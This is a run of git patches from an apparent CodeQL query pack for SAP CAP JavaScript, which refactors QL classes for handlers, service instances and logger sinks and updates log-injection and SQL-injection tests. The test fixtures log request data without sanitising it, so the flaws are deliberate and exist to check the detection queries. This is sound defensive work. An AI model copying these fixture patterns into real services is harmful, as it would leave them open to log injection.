@@ -80,6 +80,15 @@ class ServiceInstanceFromConstructor extends ServiceInstance {
   ServiceInstanceFromConstructor() { this = any(CdsApplicationService cds).getAnInstantiation() }
 }
 
+/**
+ * A service instance that represents an w
+ */
+class ServiceInstanceFromThisNode extends ServiceInstance {
+  ServiceInstanceFromThisNode() {
+    exists(ThisNode thisNode | thisNode.flowsTo(this) and this != thisNode)
+  }
+}
+
 /**
  * The parameter node representing the service being served, given to a
  * callback argument to the `cds.serve(...).with` call. e.g.
@@ -115,17 +124,14 @@ private class CdsConnectTo extends MethodCallNode {
 }
 
 /**
- * A call to `before`, `on`, or `after` on an `CdsApplicationService`.
+ * A call to `before`, `on`, or `after` on an `cds.ApplicationService`.
  * It registers an handler to be executed when an event is fired,
  * to do something with the incoming request or event as its parameter.
  */
 class HandlerRegistration extends MethodCallNode {
   HandlerRegistration() {
-    exists(UserDefinedApplicationService srv |
-      (
-        this.getReceiver() = srv.asClassDefinition() or
-        this.getReceiver() = srv.asImplMethodCall()
-      ) and
+    exists(ServiceInstance srv |
+      (srv.(SourceNode).flowsTo(this.getReceiver()) or srv = this.getReceiver()) and
       (
         this.getMethodName() = "before" or
         this.getMethodName() = "on" or
@@ -158,16 +164,17 @@ class HandlerRegistration extends MethodCallNode {
 /**
  * The handler that implements a service's logic to deal with the incoming request or message when a certain event is fired.
  * It is the last argument to the method calls that registers the handler: either `srv.before`, `srv.on`, or `srv.after`.
+ * Its first parameter is of type `cds.Event` and handles the event in an asynchronous manner,
+ * or is of type `cds.Request` and handles the event synchronously.
  */
 class Handler extends FunctionNode {
   UserDefinedApplicationService srv;
   string eventName;
 
   Handler() {
-    this.asExpr().getEnclosingFunction() = srv.getInitFunction().asExpr() and
     exists(HandlerRegistration handlerRegistration |
-      handlerRegistration.asExpr() = this.getEnclosingExpr() and
-      eventName = handlerRegistration.getAnEventName()
+      this = handlerRegistration.getAnArgument() and
+      eventName = handlerRegistration.getArgument(0).asExpr().(StringLiteral).getValue()
     )
   }
 
@@ -212,17 +219,6 @@ class BuiltInEventNames extends string {
   predicate isCrudStyle() { this = ["READ", "CREATE", "INSERT", "UPSERT", "UPDATE", "DELETE"] }
 }
 
-/**
- * A handler whose first parameter is of type `cds.Event` and handles the event in an
- * asynchronous manner, or is of type `cds.Request` and handles the event synchronously.
- */
-class EventHandler extends Handler {
-  EventHandler() {
-    exists(CdlEvent event | this.getAnEventName() = event.getBasename()) or
-    exists(BuiltInEventNames builtInName | this.getAnEventName() = builtInName)
-  }
-}
-
 /**
  * A handler that handles errors.
  */
@@ -287,7 +283,7 @@ class UserDefinedApplicationService extends TUserDefinedApplicationService {
 }
 
 private class CdsApplicationService extends API::Node {
-  CdsApplicationService() { exists(CdsFacade c | this = c.getMember("CdsApplicationService")) }
+  CdsApplicationService() { exists(CdsFacade c | this = c.getMember("ApplicationService")) }
 }
 
 /**
diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/RemoteFlowSources.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/RemoteFlowSources.qll
index 76f1ab6b9..dc8ec72b4 100644
--- a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/RemoteFlowSources.qll
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/RemoteFlowSources.qll
@@ -13,7 +13,7 @@ import advanced_security.javascript.frameworks.cap.CDS
  */
 /* TODO: narrow the definition down to exposed events */
 class HandlerParameter extends ParameterNode, RemoteFlowSource {
-  HandlerParameter() { exists(EventHandler handler | this = handler.getParameter(0)) }
+  HandlerParameter() { exists(Handler handler | this = handler.getParameter(0)) }
 
   override string getSourceType() { result = "Parameter of an event handler" }
 }
diff --git a/javascript/frameworks/cap/test/models/cds/requesthandler/requesthandler.ql b/javascript/frameworks/cap/test/models/cds/requesthandler/requesthandler.ql
index 2b9e269f9..d57079fbe 100644
--- a/javascript/frameworks/cap/test/models/cds/requesthandler/requesthandler.ql
+++ b/javascript/frameworks/cap/test/models/cds/requesthandler/requesthandler.ql
@@ -1,5 +1,5 @@
 import javascript
-import advanced_security.javascript.frameworks.cap.CDS
+import advanced_security.javascript.frameworks.cap.RemoteFlowSources
 
-from CDS::RequestSource src
+from HandlerParameter src
 select src
\ No newline at end of file

From 4d82d20890ab4e74358074f0f987650b70d5abc8 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Fri, 16 Feb 2024 18:48:14 -0800
Subject: [PATCH 19/86] Fix unit test

`await` was unexpected in this context.
---
 .../cap/test/queries/loginjection/sample-app/srv/service1.js    | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service1.js b/javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service1.js
index dc94467f2..ee088f24c 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service1.js
+++ b/javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service1.js
@@ -5,7 +5,7 @@ module.exports = class Service1 extends cds.ApplicationService {
     init() {
         this.on("READ", "Entity1/Attribute1", (req) => {
             const { messageToPass } = req.data;
-            await this.emit("Received1", { messageToPass });
+            this.emit("Received1", { messageToPass });
         });
     }
 }

From b816eaf3151bfc096c67983ebd71031c58fd3cd5 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Fri, 16 Feb 2024 19:11:24 -0800
Subject: [PATCH 20/86] Fix `applicationserviceinstance` unit test

---
 .../javascript/frameworks/cap/CDS.qll         | 39 ++++---------------
 .../applicationserviceinstance.ql             |  2 +-
 2 files changed, 9 insertions(+), 32 deletions(-)

diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
index 1ddd6cb2c..0031929f6 100644
--- a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
@@ -35,19 +35,7 @@ abstract class ServiceInstance extends DataFlow::Node { } // Use `DataFlow::Node
  * ```
  */
 class ServiceInstanceFromCdsServe extends ServiceInstance {
-  ServiceInstanceFromCdsServe() {
-    exists(AwaitExpr await, CdsServeCall cdsServe |
-      /* 1. Obtained using `cds.Serve` */
-      (
-        /* 1-1. Destructuring definition */
-        this.asExpr().getFirstControlFlowNode().(VarDef).getDestructuringSource() = await
-        or
-        /* 1-2. Direct definition */
-        this.getALocalSource().asExpr() = await
-      ) and
-      await.getOperand().flow() = cdsServe
-    )
-  }
+  ServiceInstanceFromCdsServe() { exists(CdsFacade cds | this = cds.getMember("serve").getACall()) }
 }
 
 /**
@@ -56,13 +44,16 @@ class ServiceInstanceFromCdsServe extends ServiceInstance {
  * ```javascript
  * // Obtained through `cds.connect.to`
  * const Service1 = await cds.connect.to("service-1");
+ * const Service1 = cds.connect.to("service-2");
  * ```
  */
-class ServiceInstanceFromCdsConnectTo extends ServiceInstance {
+class ServiceInstanceFromCdsConnectTo extends MethodCallNode, ServiceInstance {
+  string serviceName;
+
   ServiceInstanceFromCdsConnectTo() {
-    exists(AwaitExpr await, CdsConnectTo cdsConnectTo |
-      this.getALocalSource().asExpr() = await and
-      await.getOperand().flow() = cdsConnectTo
+    exists(CdsFacade cds |
+      this = cds.getMember("connect").getMember("to").getACall() and
+      serviceName = this.getArgument(0).getALocalSource().asExpr().(StringLiteral).getValue()
     )
   }
 }
@@ -109,20 +100,6 @@ class ServiceInstanceFromServeWithParameter extends ParameterNode, ServiceInstan
   }
 }
 
-/**
- * A Call to `cds.connect.to` that returns a promise containing the service that is asked for by its name.
- */
-private class CdsConnectTo extends MethodCallNode {
-  string serviceName;
-
-  CdsConnectTo() {
-    exists(CdsFacade cds |
-      this = cds.getMember("connect").getMember("to").getACall() and
-      serviceName = this.getArgument(0).getALocalSource().asExpr().(StringLiteral).getValue()
-    )
-  }
-}
-
 /**
  * A call to `before`, `on`, or `after` on an `cds.ApplicationService`.
  * It registers an handler to be executed when an event is fired,
diff --git a/javascript/frameworks/cap/test/models/cds/applicationserviceinstance/applicationserviceinstance.ql b/javascript/frameworks/cap/test/models/cds/applicationserviceinstance/applicationserviceinstance.ql
index ae7c7152f..697334742 100644
--- a/javascript/frameworks/cap/test/models/cds/applicationserviceinstance/applicationserviceinstance.ql
+++ b/javascript/frameworks/cap/test/models/cds/applicationserviceinstance/applicationserviceinstance.ql
@@ -1,5 +1,5 @@
 import javascript
 import advanced_security.javascript.frameworks.cap.CDS
 
-from CDS::ServiceInstance svc 
+from ServiceInstance svc 
 select svc
\ No newline at end of file

From 914e8253872c57deedfc6f3b9a161caf064e853e Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Sat, 17 Feb 2024 01:34:59 -0800
Subject: [PATCH 21/86] Create CAPLogInjection class to accommodate related
 classes

---
 .../frameworks/cap/CAPLogInjection.qll        | 31 +++++++++++++++++++
 .../javascript/frameworks/cap/CDS.qll         | 27 ----------------
 2 files changed, 31 insertions(+), 27 deletions(-)
 create mode 100644 javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CAPLogInjection.qll

diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CAPLogInjection.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CAPLogInjection.qll
new file mode 100644
index 000000000..b581a0479
--- /dev/null
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CAPLogInjection.qll
@@ -0,0 +1,31 @@
+import javascript
+import DataFlow
+import advanced_security.javascript.frameworks.cap.CDS
+
+/**
+ * A logger obtained by a call to `log` on a CDS facade. Each logger is associated with
+ * its unique name.
+ */
+class CdsLogger extends MethodCallNode {
+  string name;
+
+  CdsLogger() {
+    this = any(CdsFacade cds).getMember("log").getACall() and
+    name = this.getArgument(0).getALocalSource().asExpr().(StringLiteral).getValue()
+  }
+}
+
+/**
+ * Arguments of calls to `cds.log.{trace, debug, info, log, warn, error}`
+ */
+class CdsLogSink extends DataFlow::Node {
+  CdsLogSink() {
+    exists(CdsLogger log, MethodCallNode loggingMethod |
+      this = loggingMethod.getAnArgument() and
+      not this.asExpr() instanceof Literal and
+      not this.asExpr() instanceof TemplateLiteral and
+      loggingMethod.getReceiver().getALocalSource() = log and
+      loggingMethod.getMethodName() = ["trace", "debug", "info", "log", "warn", "error"]
+    )
+  }
+}
diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
index 0031929f6..db3322577 100644
--- a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
@@ -276,30 +276,3 @@ class ParseSink extends DataFlow::Node {
           .getAnArgument()
   }
 }
-
-/**
- * A logger obtained by a call to `log` on a CDS facade. Each logger is associated with
- * its unique name.
- */
-class CdsLogger extends MethodCallNode {
-  string name;
-
-  CdsLogger() {
-    this = any(CdsFacade cds).getMember("log").getACall() and
-    name = this.getArgument(0).getALocalSource().asExpr().(StringLiteral).getValue()
-  }
-}
-
-/**
- * Arguments of calls to `cds.log.{trace, debug, info, log, warn, error}`
- */
-class CdsLogSink extends DataFlow::Node {
-  CdsLogSink() {
-    exists(CdsLogger log, MethodCallNode loggingMethod |
-      this = loggingMethod.getAnArgument() and
-      not this.asExpr() instanceof Literal and
-      loggingMethod.getReceiver().getALocalSource() = log and
-      loggingMethod.getMethodName() = ["trace", "debug", "info", "log", "warn", "error"]
-    )
-  }
-}

From a4c0d209f8840a13c87dac2e3472a90756cd0247 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Sat, 17 Feb 2024 01:35:39 -0800
Subject: [PATCH 22/86] Fix `logger` unit test

---
 .../cap/test/models/cds/logger/logger.expected  | 14 +++++++-------
 .../cap/test/models/cds/logger/logger.js        | 17 +++++++++--------
 .../cap/test/models/cds/logger/logger.ql        |  4 ++--
 3 files changed, 18 insertions(+), 17 deletions(-)

diff --git a/javascript/frameworks/cap/test/models/cds/logger/logger.expected b/javascript/frameworks/cap/test/models/cds/logger/logger.expected
index 4ec314c6b..6f2c1aa2c 100644
--- a/javascript/frameworks/cap/test/models/cds/logger/logger.expected
+++ b/javascript/frameworks/cap/test/models/cds/logger/logger.expected
@@ -1,7 +1,7 @@
-| logger.js:3:25:3:30 | `test` |
-| logger.js:4:25:4:30 | `test` |
-| logger.js:5:24:5:29 | `test` |
-| logger.js:6:23:6:28 | `test` |
-| logger.js:7:24:7:29 | `test` |
-| logger.js:8:25:8:30 | `test` |
-| logger.js:11:10:11:15 | "test" |
+| logger.js:3:25:3:29 | code0 |
+| logger.js:4:25:4:29 | code0 |
+| logger.js:5:24:5:28 | code0 |
+| logger.js:6:23:6:27 | code0 |
+| logger.js:7:24:7:28 | code0 |
+| logger.js:8:25:8:29 | code0 |
+| logger.js:12:10:12:14 | code1 |
diff --git a/javascript/frameworks/cap/test/models/cds/logger/logger.js b/javascript/frameworks/cap/test/models/cds/logger/logger.js
index 09c968c20..d5c35ebe6 100644
--- a/javascript/frameworks/cap/test/models/cds/logger/logger.js
+++ b/javascript/frameworks/cap/test/models/cds/logger/logger.js
@@ -1,11 +1,12 @@
 import cds from '@sap/cds'
 
-cds.log('nodejs').trace(`test`);
-cds.log('nodejs').debug(`test`);
-cds.log('nodejs').info(`test`);
-cds.log('nodejs').log(`test`);
-cds.log('nodejs').warn(`test`);
-cds.log('nodejs').error(`test`);
+cds.log('nodejs').trace(code0);
+cds.log('nodejs').debug(code0);
+cds.log('nodejs').info(code0);
+cds.log('nodejs').log(code0);
+cds.log('nodejs').warn(code0);
+cds.log('nodejs').error(code0);
 
-const LOG = cds.log("nodejs");
-LOG.info("test");
\ No newline at end of file
+const code0 = "some-name";
+const LOG = cds.log(code0);
+LOG.info(code1);
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/models/cds/logger/logger.ql b/javascript/frameworks/cap/test/models/cds/logger/logger.ql
index b53449469..1da737cc9 100644
--- a/javascript/frameworks/cap/test/models/cds/logger/logger.ql
+++ b/javascript/frameworks/cap/test/models/cds/logger/logger.ql
@@ -1,5 +1,5 @@
 import javascript
-import advanced_security.javascript.frameworks.cap.CDS
+import advanced_security.javascript.frameworks.cap.CAPLogInjection
 
-from CDS::CdsLogSink sink
+from CdsLogSink sink
 select sink
\ No newline at end of file

From 624a91d2935a2be239db64d9d272d3883648d984 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Tue, 20 Feb 2024 15:08:11 -0800
Subject: [PATCH 23/86] Fix `loginjection`/`sqlinjection` unit tests

---
 .../cap/src/loginjection/LogInjection.ql       |  6 +++++-
 .../cap/src/sqlinjection/SqlInjection.ql       |  3 ++-
 .../queries/loginjection/loginjection.expected | 18 ++++++++++++++++++
 .../sqlinjection/sample-app/srv/Service1.js    |  2 +-
 4 files changed, 26 insertions(+), 3 deletions(-)

diff --git a/javascript/frameworks/cap/src/loginjection/LogInjection.ql b/javascript/frameworks/cap/src/loginjection/LogInjection.ql
index fe4f2a593..c8761eed0 100644
--- a/javascript/frameworks/cap/src/loginjection/LogInjection.ql
+++ b/javascript/frameworks/cap/src/loginjection/LogInjection.ql
@@ -13,12 +13,16 @@
 import javascript
 import DataFlow::PathGraph
 import semmle.javascript.security.dataflow.LogInjectionQuery
+import advanced_security.javascript.frameworks.cap.RemoteFlowSources
 import advanced_security.javascript.frameworks.cap.CDS
+import advanced_security.javascript.frameworks.cap.CAPLogInjection
 
 /**
  * A source of remote user controlled input.
  */
-class CapRemoteSource extends Source, RequestSource { }
+class CapRemoteSource extends Source {
+  CapRemoteSource() { this instanceof RemoteFlowSource }
+}
 
 /**
  * An argument to a logging mechanism.
diff --git a/javascript/frameworks/cap/src/sqlinjection/SqlInjection.ql b/javascript/frameworks/cap/src/sqlinjection/SqlInjection.ql
index 75fbbf95a..da92d7db6 100644
--- a/javascript/frameworks/cap/src/sqlinjection/SqlInjection.ql
+++ b/javascript/frameworks/cap/src/sqlinjection/SqlInjection.ql
@@ -15,12 +15,13 @@ import DataFlow::PathGraph
 import semmle.javascript.security.dataflow.SqlInjectionCustomizations::SqlInjection
 import advanced_security.javascript.frameworks.cap.CDS
 import advanced_security.javascript.frameworks.cap.CQL
+import advanced_security.javascript.frameworks.cap.RemoteFlowSources
 
 class Configuration extends TaintTracking::Configuration {
   Configuration() { this = "CapSqlInjection" }
 
   override predicate isSource(DataFlow::Node source) {
-    source instanceof Source or source instanceof RequestSource
+    source instanceof RemoteFlowSource
   }
 
   override predicate isSink(DataFlow::Node sink) {
diff --git a/javascript/frameworks/cap/test/queries/loginjection/loginjection.expected b/javascript/frameworks/cap/test/queries/loginjection/loginjection.expected
index 85a8e0b18..6922f7f76 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/loginjection.expected
+++ b/javascript/frameworks/cap/test/queries/loginjection/loginjection.expected
@@ -9,6 +9,15 @@ nodes
 | loginjection.js:11:14:11:26 | "test" + book |
 | loginjection.js:11:14:11:26 | "test" + book |
 | loginjection.js:11:23:11:26 | book |
+| sample-app/srv/service2.js:6:33:6:35 | msg |
+| sample-app/srv/service2.js:6:33:6:35 | msg |
+| sample-app/srv/service2.js:7:15:7:31 | { messageToPass } |
+| sample-app/srv/service2.js:7:15:7:42 | messageToPass |
+| sample-app/srv/service2.js:7:17:7:29 | messageToPass |
+| sample-app/srv/service2.js:7:35:7:37 | msg |
+| sample-app/srv/service2.js:7:35:7:42 | msg.data |
+| sample-app/srv/service2.js:9:32:9:44 | messageToPass |
+| sample-app/srv/service2.js:9:32:9:44 | messageToPass |
 edges
 | loginjection.js:7:33:7:35 | req | loginjection.js:8:29:8:31 | req |
 | loginjection.js:7:33:7:35 | req | loginjection.js:8:29:8:31 | req |
@@ -19,5 +28,14 @@ edges
 | loginjection.js:8:29:8:36 | req.data | loginjection.js:8:11:8:25 | {book,quantity} |
 | loginjection.js:11:23:11:26 | book | loginjection.js:11:14:11:26 | "test" + book |
 | loginjection.js:11:23:11:26 | book | loginjection.js:11:14:11:26 | "test" + book |
+| sample-app/srv/service2.js:6:33:6:35 | msg | sample-app/srv/service2.js:7:35:7:37 | msg |
+| sample-app/srv/service2.js:6:33:6:35 | msg | sample-app/srv/service2.js:7:35:7:37 | msg |
+| sample-app/srv/service2.js:7:15:7:31 | { messageToPass } | sample-app/srv/service2.js:7:17:7:29 | messageToPass |
+| sample-app/srv/service2.js:7:15:7:42 | messageToPass | sample-app/srv/service2.js:9:32:9:44 | messageToPass |
+| sample-app/srv/service2.js:7:15:7:42 | messageToPass | sample-app/srv/service2.js:9:32:9:44 | messageToPass |
+| sample-app/srv/service2.js:7:17:7:29 | messageToPass | sample-app/srv/service2.js:7:15:7:42 | messageToPass |
+| sample-app/srv/service2.js:7:35:7:37 | msg | sample-app/srv/service2.js:7:35:7:42 | msg.data |
+| sample-app/srv/service2.js:7:35:7:42 | msg.data | sample-app/srv/service2.js:7:15:7:31 | { messageToPass } |
 #select
 | loginjection.js:11:14:11:26 | "test" + book | loginjection.js:7:33:7:35 | req | loginjection.js:11:14:11:26 | "test" + book | Log entry depends on a $@. | loginjection.js:7:33:7:35 | req | user-provided value |
+| sample-app/srv/service2.js:9:32:9:44 | messageToPass | sample-app/srv/service2.js:6:33:6:35 | msg | sample-app/srv/service2.js:9:32:9:44 | messageToPass | Log entry depends on a $@. | sample-app/srv/service2.js:6:33:6:35 | msg | user-provided value |
diff --git a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service1.js b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service1.js
index 4657c5198..f1d767bcc 100644
--- a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service1.js
+++ b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service1.js
@@ -5,7 +5,7 @@ module.exports = class Service1 extends cds.ApplicationService {
     init() {
         this.on("READ", "Service1Entity/Attribute1", (req) => {
             const { messageToPass } = req.data;
-            await this.emit("Received1", { messageToPass });
+            this.emit("Received1", { messageToPass });
         });
     }
     

From 286980b23d0c4d01f99314027f8d7f27ec5bda80 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Tue, 20 Feb 2024 17:32:39 -0800
Subject: [PATCH 24/86] Rename app to something specific

---
 .../README.md                                                  | 0
 .../db/schema.cds                                              | 0
 .../package.json                                               | 0
 .../server.js                                                  | 0
 .../log-injection-without-protocol-none/show-me-the-cwd.sh     | 3 +++
 .../srv/service1.cds                                           | 0
 .../srv/service1.js                                            | 0
 .../srv/service2.cds                                           | 0
 .../srv/service2.js                                            | 0
 9 files changed, 3 insertions(+)
 rename javascript/frameworks/cap/test/queries/loginjection/{sample-app => log-injection-without-protocol-none}/README.md (100%)
 rename javascript/frameworks/cap/test/queries/loginjection/{sample-app => log-injection-without-protocol-none}/db/schema.cds (100%)
 rename javascript/frameworks/cap/test/queries/loginjection/{sample-app => log-injection-without-protocol-none}/package.json (100%)
 rename javascript/frameworks/cap/test/queries/loginjection/{sample-app => log-injection-without-protocol-none}/server.js (100%)
 create mode 100755 javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/show-me-the-cwd.sh
 rename javascript/frameworks/cap/test/queries/loginjection/{sample-app => log-injection-without-protocol-none}/srv/service1.cds (100%)
 rename javascript/frameworks/cap/test/queries/loginjection/{sample-app => log-injection-without-protocol-none}/srv/service1.js (100%)
 rename javascript/frameworks/cap/test/queries/loginjection/{sample-app => log-injection-without-protocol-none}/srv/service2.cds (100%)
 rename javascript/frameworks/cap/test/queries/loginjection/{sample-app => log-injection-without-protocol-none}/srv/service2.js (100%)

diff --git a/javascript/frameworks/cap/test/queries/loginjection/sample-app/README.md b/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/README.md
similarity index 100%
rename from javascript/frameworks/cap/test/queries/loginjection/sample-app/README.md
rename to javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/README.md
diff --git a/javascript/frameworks/cap/test/queries/loginjection/sample-app/db/schema.cds b/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/db/schema.cds
similarity index 100%
rename from javascript/frameworks/cap/test/queries/loginjection/sample-app/db/schema.cds
rename to javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/db/schema.cds
diff --git a/javascript/frameworks/cap/test/queries/loginjection/sample-app/package.json b/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/package.json
similarity index 100%
rename from javascript/frameworks/cap/test/queries/loginjection/sample-app/package.json
rename to javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/package.json
diff --git a/javascript/frameworks/cap/test/queries/loginjection/sample-app/server.js b/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/server.js
similarity index 100%
rename from javascript/frameworks/cap/test/queries/loginjection/sample-app/server.js
rename to javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/server.js
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/show-me-the-cwd.sh b/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/show-me-the-cwd.sh
new file mode 100755
index 000000000..dcaeba20d
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/show-me-the-cwd.sh
@@ -0,0 +1,3 @@
+#!/usr/bin/env bash
+
+(cd $CODEQL_EXTRACTOR_JAVASCRIPT_WIP_DATABASE && pwd && for cds_file in $(find . -type f \( -iname '*.cds' \) -print  ); do cds compile $cds_file -2 json -o "$(dirname $cds_file)/$(basename $cds_file .cds).json"; done)
diff --git a/javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service1.cds b/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.cds
similarity index 100%
rename from javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service1.cds
rename to javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.cds
diff --git a/javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service1.js b/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js
similarity index 100%
rename from javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service1.js
rename to javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js
diff --git a/javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service2.cds b/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.cds
similarity index 100%
rename from javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service2.cds
rename to javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.cds
diff --git a/javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service2.js b/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js
similarity index 100%
rename from javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service2.js
rename to javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js

From f747d22c382d1bcf2b465b651ceea4043b49c67e Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Wed, 21 Feb 2024 11:38:41 -0800
Subject: [PATCH 25/86] Move existing loginjection.js to a separate directory

---
 .../{ => log-injection-single-file}/loginjection.expected         | 0
 .../loginjection/{ => log-injection-single-file}/loginjection.js  | 0
 .../{ => log-injection-single-file}/loginjection.qlref            | 0
 3 files changed, 0 insertions(+), 0 deletions(-)
 rename javascript/frameworks/cap/test/queries/loginjection/{ => log-injection-single-file}/loginjection.expected (100%)
 rename javascript/frameworks/cap/test/queries/loginjection/{ => log-injection-single-file}/loginjection.js (100%)
 rename javascript/frameworks/cap/test/queries/loginjection/{ => log-injection-single-file}/loginjection.qlref (100%)

diff --git a/javascript/frameworks/cap/test/queries/loginjection/loginjection.expected b/javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.expected
similarity index 100%
rename from javascript/frameworks/cap/test/queries/loginjection/loginjection.expected
rename to javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.expected
diff --git a/javascript/frameworks/cap/test/queries/loginjection/loginjection.js b/javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js
similarity index 100%
rename from javascript/frameworks/cap/test/queries/loginjection/loginjection.js
rename to javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js
diff --git a/javascript/frameworks/cap/test/queries/loginjection/loginjection.qlref b/javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.qlref
similarity index 100%
rename from javascript/frameworks/cap/test/queries/loginjection/loginjection.qlref
rename to javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.qlref

From 765608d3a1769893db2d28169d788a081c3564e5 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Wed, 21 Feb 2024 15:08:54 -0800
Subject: [PATCH 26/86] Add three more variants of
 `log-injection-with-partial-protocol-none`

---
 .../log-injection-not-depending-on-request/README.md |  5 +++++
 .../db/schema.cds                                    | 11 +++++++++++
 .../package.json                                     | 12 ++++++++++++
 .../log-injection-not-depending-on-request/server.js | 11 +++++++++++
 .../srv/service1.cds                                 | 11 +++++++++++
 .../srv/service1.js                                  | 11 +++++++++++
 .../srv/service2.cds                                 |  6 ++++++
 .../srv/service2.js                                  | 11 +++++++++++
 .../README.md                                        |  5 +++++
 .../db/schema.cds                                    | 11 +++++++++++
 .../package.json                                     | 12 ++++++++++++
 .../server.js                                        | 11 +++++++++++
 .../srv/service1.cds                                 | 12 ++++++++++++
 .../srv/service1.js                                  | 11 +++++++++++
 .../srv/service2.cds                                 |  7 +++++++
 .../srv/service2.js                                  | 11 +++++++++++
 .../README.md                                        |  5 +++++
 .../db/schema.cds                                    | 11 +++++++++++
 .../package.json                                     | 12 ++++++++++++
 .../server.js                                        | 11 +++++++++++
 .../srv/service1.cds                                 | 12 ++++++++++++
 .../srv/service1.js                                  | 11 +++++++++++
 .../srv/service2.cds                                 |  6 ++++++
 .../srv/service2.js                                  | 11 +++++++++++
 24 files changed, 237 insertions(+)
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/README.md
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/db/schema.cds
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/package.json
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/server.js
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service1.cds
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service1.js
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.cds
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.js
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/README.md
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/db/schema.cds
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/package.json
